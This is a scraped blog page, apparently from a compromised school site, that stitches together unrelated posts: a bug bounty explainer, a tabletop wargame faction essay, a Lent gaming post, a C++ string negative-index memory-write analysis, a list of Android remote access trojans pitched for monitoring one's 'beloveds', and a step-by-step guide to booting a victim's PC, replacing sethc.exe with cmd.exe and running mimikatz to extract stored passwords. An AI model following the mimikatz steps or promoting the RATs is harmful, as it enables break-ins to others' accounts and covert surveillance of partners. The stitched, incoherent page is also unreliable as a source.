Rust-Ter-Vaal Combined School, Vereeniging, Gauteng

Monday, April 13, 2020

$$$ Bug Bounty $$$

What is Bug Bounty ?

A bug bounty program, also called a vulnerability rewards program (VRP), is a crowdsourcing initiative that rewards individuals for discovering and reporting software bugs. Bug bounty programs are often initiated to supplement internal code audits and penetration tests as part of an organization's vulnerability management strategy.

Many software vendors and websites run bug bounty programs, paying out cash rewards to software security researchers and white hat hackers who report software vulnerabilities that have the potential to be exploited. Bug reports must document enough information for for the organization offering the bounty to be able to reproduce the vulnerability. Typically, payment amounts are commensurate with the size of the organization, the difficulty in hacking the system and how much impact on users a bug might have.

Mozilla paid out a $3,000 flat rate bounty for bugs that fit its criteria, while Facebook has given out as much as $20,000 for a single bug report. Google paid Chrome operating system bug reporters a combined $700,000 in 2012 and Microsoft paid UK researcher James Forshaw $100,000 for an attack vulnerability in Windows 8.1. In 2016, Apple announced rewards that max out at $200,000 for a flaw in the iOS secure boot firmware components and up to $50,000 for execution of arbitrary code with kernel privileges or unauthorized iCloud access.

While the use of ethical hackers to find bugs can be very effective, such programs can also be controversial. To limit potential risk, some organizations are offering closed bug bounty programs that require an invitation. Apple, for example, has limited bug bounty participation to few dozen researchers.

Related word

$$$ Bug Bounty $$$

What is Bug Bounty ?

Related word

Cracking Windows 8/8.1 Passwords With Mimikatz

You Might have read my previous posts about how to remove windows passwords using chntpw and might be thinking why am I writing another tutorial to do the same thing! Well today we are not going to remove the windows user password rather we are going to be more stealth in that we are not going to remove it rather we are going to know what is the users password and access his/her account with his/her own password. Sounds nice...

Requirements:

A live bootable linux OS (I'm using Kali Linux)(Download Kali Linux)
Mimikatz (Download | Blog)
Physical Access to victim's machine
A Working Brain in that Big Head (Download Here)

Steps:

1. First of all download mimikatz and put it in a pendrive.

2. Boat the victim's PC with your live bootable Pendrive (Kali Linux on pendrive in my case). And open a terminal window

3. Mount the Volume/Drive on which windows 8/8.1 is installed by typing these commands
in the terminal window:

mkdir /media/win
ntfs-3g /dev/sda1 /media/win

[NOTE] ntfs-3g is used to mount an NTFS drive in Read/Write mode otherwise you might not be able to write on the drive. Also /dev/sda1 is the name of the drive on which Windows OS is installed, to list your drives you can use lsblk -l or fdisk -l. The third flag is the location where the drive will be mounted.

4. Now navigate to the System32 folder using the following command

cd /media/win/Windows/System32

5. After navigating to the System32 rename the sethc.exe file to sethc.exe.bak by typing the following command:

mv sethc.exe sethc.exe.bak

sethc.exe is a windows program which runs automatically after shift-key is pressed more than 5 times continuously.

6. Now copy the cmd.exe program to sethc.exe replacing the original sethc.exe program using this command:

cp cmd.exe sethc.exe

[Note] We made a backup of sethc.exe program so that we can restore the original sethc.exe functionality

7. With this, we are done with the hard part of the hack now lets reboot the system and boot our Victim's Windows 8/8.1 OS.

8. After reaching the Windows Login Screen plugin the usb device with mimikatz on it and hit shift-key continuously five or more times. It will bring up a command prompt like this

9. Now navigate to your usb drive in my case its drive G:

10. Now navigate to the proper version of mimikatz binary folder (Win32 for32bit windows and x64 for 64 bit windows)

11. Run mimikatz and type the following commands one after the other in sequence:

privilege::debug
token::elevate
vault::list

the first command enables debug mode
the second one elevates the privilages
the last one lists the passwords which include picture password and pin (if set by the user)

That's it you got the password and everything else needed to log into the system. No more breaking and mess making its simple its easy and best of all its not Noisy lol...

Hope you enjoyed the tutorial have fun :)

C++ Std::String Buffer Overflow And Integer Overflow

Interators are usually implemented using signed integers like the typical "for (int i=0; ..." and in fact is the type used indexing "cstr[i]", most of methods use the signed int, int by default is signed.
Nevertheless, the "std::string::operator[]" index is size_t which is unsigned, and so does size(), and same happens with vectors.
Besides the operator[] lack of negative index control, I will explain this later.

Do the compilers doesn't warn about this?

If his code got a large input it would index a negative numer, let see g++ and clang++ warnings:

No warnings so many bugs out there...

In order to reproduce the crash we can load a big string or vector from file, for example:

I've implemented a loading function, getting the file size with tellg() and malloc to allocate the buffer, then in this case used as a string.
Let see how the compiler write asm code based on this c++ code.

So the string constructor, getting size and adding -2 is clear. Then come the operator<< to concat the strings.
Then we see the operator[] when it will crash with the negative index.
In assembly is more clear, it will call operator[] to get the value, and there will hapen the magic dereference happens. The operator[] will end up returning an invalid address that will crash at [RAX]

In gdb the operator[] is a allq 0x555555555180 <_znst7__cxx1112basic_stringicst11char_traitsicesaiceeixem plt="">

(gdb) i r rsi
rsi 0xfffffffffffefffe -65538

The implmementation of operator ins in those functions below:

(gdb) bt
#0 0x00007ffff7feebf3 in strcmp () from /lib64/ld-linux-x86-64.so.2
#1 0x00007ffff7fdc9a5 in check_match () from /lib64/ld-linux-x86-64.so.2
#2 0x00007ffff7fdce7b in do_lookup_x () from /lib64/ld-linux-x86-64.so.2
#3 0x00007ffff7fdd739 in _dl_lookup_symbol_x () from /lib64/ld-linux-x86-64.so.2
#4 0x00007ffff7fe1eb7 in _dl_fixup () from /lib64/ld-linux-x86-64.so.2
#5 0x00007ffff7fe88ee in _dl_runtime_resolve_xsavec () from /lib64/ld-linux-x86-64.so.2
#6 0x00005555555554b3 in main (argc=2, argv=0x7fffffffe118) at main.cpp:29

Then crashes on the MOVZX EAX, byte ptr [RAX]

Program received signal SIGSEGV, Segmentation fault.

0x00005555555554b3 in main (argc=2, argv=0x7fffffffe118) at main.cpp:29
29 cout << "penultimate byte is " << hex << s[i] << endl;
(gdb)

What about negative indexing in std::string::operator[] ?
It's exploitable!

In a C char array is known that having control of the index, we can address memory.
Let's see what happens with C++ strings:

The operator[] function call returns the address of string plus 10, and yes, we can do abitrary writes.

Note that gdb displays by default with at&t asm format wich the operands are in oposite order:

And having a string that is in the stack, controlling the index we can perform a write on the stack.

To make sure we are writing outside the string, I'm gonna do 3 writes:

See below the command "i r rax" to view the address where the write will be performed.

The beginning of the std::string object is 0x7fffffffde50.
Write -10 writes before the string 0x7fffffffde46.
And write -100 segfaults because is writting in non paged address.

So, C++ std::string probably is not vulnerable to buffer overflow based in concatenation, but the std::string::operator[] lack of negative indexing control and this could create vulnerable and exploitable situations, some times caused by a signed used of the unsigned std::string.size()

TOP ANDROID HACKING TOOLS OF 2018

An Android remote administration tool (RAT) is a programmed tool that allows a remote device to control a smartphone as if they have physical access to that system. While screen sharing and remote administration have many legal uses, "RAT" software is usually associated with the unauthorized or malicious activity. I have streamlined here top android hacking tools of 2018.

TOP ANDROID HACKING TOOLS OF 2018

Here are the most advanced in functionality top android hacking tools of 2018.

1. DROIDJACK

DroidJack gives you the power to establish control over your beloveds' Android devices with an easy to use GUI and all the features you need to monitor them. It has many advanced features that you can perform over the remote smartphone. DroidJack is one of the top lists as it also has the functionality to read/write WhatsApp messages.

You can also follow a step by step tutorial on how to hack smartphone remotely using droidjack.

2. OMNIRAT

OmniRAT is the super powerful multi-OS remote administration tool that can a smartphone either using a smartphone or using a Windows or Mac PC. It has a huge list of features that make it very powerful. It can make calls through that smartphone remotely. It's completely fully undetectable.

3. ANDRORAT

AndroRat is a client/server application developed in Java Android for the client side and in Java/Swing for the Server. The name AndroRat is a mix of Android and RAT (Remote Access Tool). It was developed as a project by the university students, which works great for hacking into Android devices.

You can also follow a step by step tutorial on how to hacking a smartphone remotely using androrat.

4. SPYNOTE

SpyNote is a lightweight Android remote administration tool (RAT) to hack into a smartphone device remotely. It gives you the power to establish control over Android devices with an easy to use GUI and all the features you need to monitor them. Build a custom APK or bind the payload to an already existing APK such as a game or social media app.

You can also follow a step by step tutorial on how to hack any android phone remotely with spynote.

5. AHMYTH

AhMyth is a powerful android remote administrator tool that gives you the power to establish control over your beloveds' android devices with an easy to use GUI and all the features you need to monitor them.

These are all the top android hacking tools of 2018. There are also many other rats but these are the most advanced in tech and features. There may appear few more that can compete these and make a place to be in the top android list.

Saturday, April 11, 2020

8-Bit Lent

We should all have a good strategy prepared for the spiritual battle of Lent- things we are going to deny ourselves from eating, extra prayers we are going to say each day, sacrifices in terms of comfort and sacrifices in terms of media.

Lent is serious, it is the badge of being a true Catholic.

Maybe one sacrifice you might make in terms of video games is to give them up completely and to give up all reading up about them. That would be a great offering to the Lord.

Another idea, and something I am going to take up is to reduce myself to only playing 8-Bit games, (and, of course, to abstain from gaming media on YouTube).

8-Bit games certainly can be a bit of a penance, they can train us in patience, in denying immediate excitement and pleasure, and they are very very basic. They are like a bread and water fast in terms of gaming.

Give it a try. 40 days, only 8-Bit, and of course, only games you can play legally,

Wednesday, April 8, 2020

Post Oblivion Faction Choice

In my last post I opined on what I'd want to see for the rest of the faction spoilers and what my pro/cons were for each faction.

Well it's been a little less than a week since Oblivion dropped and I've been mulling over what to play for the next few months and I've reached a decision...

Legion!

So why Legion over Trolls and CoC? Well I've got a few reasons and it's easier to start with the reasons I'm not going with Trolls or CoC rather than what I'm going for in Legion.

Why Not CoC?

Convergence was what I was playing before Oblivion and it's what I have been inclined to keep with after the changes, but there are some things that made me decide shelving them for a bit.

The Dynamic Update changes for CoC were pretty minor beyond the (massive) theme changes, only the Colossal's got points drops and the Developers stated that they want to do more, especially with the medium based infantry (which I love), but they can't really test that until all the new stuff that is coming in a few months is also being tested. As such things are mostly the same, though we're far more likely to play in Clockwork Legion, even for Vector heavy based lists.

In the Steamroller I went to a few weeks ago I played two DI lists in my pairing and while I could manage threat ranges to get up on attrition, I had trouble contesting with new scenarios and lost on scenario before I could capitalize on the attrition win.

If you're in DI, you've got no screen of infantry or much in the way of throw away items, and our heavies are still pretty expensive for what they do.

The other changes that have me excited to play CoC is the Void Archon in Clockwork Legions being in the theme - except it will not pre-release at Gencon and so I'm waiting till October before I can really start playing the lists I want to be playing anyway. By that point we will be very close to the CoC new CID

The final reason I'm putting my CoC down for a bit is because I just know that major changes are coming to the faction in a few months and it feels kinda meh to play them in their current state when everyone including the developers knows there are problems with things as they are and the changes are a short time away. So why not take a change of pace with stuff I already own?

Why Not Trolls?

Trolls are interesting to dojo for me, because the faction revolves around so many different buff pieces which I just like the general approach of, it's just that there are two main problems I see.

First and foremost is the Krielstone and SR2019. With one third of scenarios having very wide spread zones, and those being "new" scenarios more likely to see play in events, Trolls are going to suffer, especially the kind of brick list I typically enjoyed.

I went and mapped out what it would look like with a max (barring spending an additional 9 points on sorcerers) stone aura would look like if it could stand in the center of the table. The results are not very consistent.

The other problem I have is that the infantry units are just...not great. Fenns + UA are 20 points and our mainline gun units that I'd want to run are only RNG 8 (Highwaymen or Raiders). That's not inspiring. The beasts are also just very expensive, 19 point Bombers are rough. Our lights are also pretty expensive for what they do. Compare that to beasts in Grymkin or WM heavies and it's just painful.

Again this seems to be something that is recognized as a bit of a problem by the Devs with the idea that after a while Trolls will get looked at in more depth.

No More Support Taxes!

One thing I learned from playing Clockwork Legions in events (and what I know from Trolls), is that I'm kind of just tired of paying for support that is effectively essential to my army functioning but generally doesn't do much else. Especially when said support requires a tight spacing.

Clockwork Legions troops are not very great, because they can recur. The medium based troops are very expensive and not great, because they can recur. But then I also have to pay 16 points...in order to recur. That's kind of a double whammy. I also need to stay moderately tethered to the Foundries for it all to work. It hurts the more you spread out, because canny opponents will overload on one flank to fill the foundries covering that flank and start permanently killing models. So unless you can have a nice bunker in the center, the strength of recursion can be more easily mitigated.

The Krielstone is very similar, and once you're out of the stone, which can happen if you're looking to build high threat range lists, our beasts really suffer compared to what they cost.

I'm just...tired of having to take expensive support and want a change. This brings me to...

Why Legion?

Most support is caster driven, so I always have it until the game is over. When there is support taken, it's generally self sufficient. If I take Anyssa with Raptors, the Raptors aren't completely screwed if she's gone and she can just follow them around. If I take a Grotesque Assassin with Grotesque Raiders, it similarly just is tethered to that unit, not my entire force.

The other sad thing is that if I want to play a brick/aura list, I have options to do that. Primal Terrors with a Blightbringer provides a similar experience, and while it costs 20 points more than a Krielstone, it also is much harder to kill, is a melee anchor for late game, and has a decent gun turn after turn.

Similarly I could play Thags1 with his aura and some Carniveans to put out an ARM22 brick of heavies.

There's also the fact that guns not only abound in this faction, but they're far longer range as well. Strider Rangers got buffed, and with Ravens of War opening to all beasts again, we have good shooting options plus Hellmouth's to give scenario presence and tools to give advantage in heavy trades.

Oh and there's the fact that everything has flight or pathfinder. I loathe not having that, especially on heavies. Eyeless Sight is also nice to avoid any cloud problems and stealth issues, plus the faction brings a lot of boostable sprays to the table as well.

Beasts are expensive except for rare cases, but the character beasts in Legion are particularly compelling.

There are certainly weaknesses, particularly to guns, but there are some answers that can be taken to account for that.

Plus when I was going through to look at models I saw my old stuff and was reminded of how much I liked the look of them.

So for at least the next few months, I'm back on Legion!

Rust-Ter-Vaal Combined School, Vereeniging, Gauteng

Followers

Blog Archive

About Me

Monday, April 13, 2020

$$$ Bug Bounty $$$

$$$ Bug Bounty $$$

Related word

Cracking Windows 8/8.1 Passwords With Mimikatz

Requirements:

Steps:

More articles

C++ Std::String Buffer Overflow And Integer Overflow

Related news

TOP ANDROID HACKING TOOLS OF 2018

TOP ANDROID HACKING TOOLS OF 2018

1. DROIDJACK

2. OMNIRAT

3. ANDRORAT

4. SPYNOTE

5. AHMYTH

Related news

Saturday, April 11, 2020

8-Bit Lent

Wednesday, April 8, 2020

Post Oblivion Faction Choice

Search This Blog

This Bogg is updated weekly - content my change without prior notice.

Where was the first Democracy President of South Africa Born?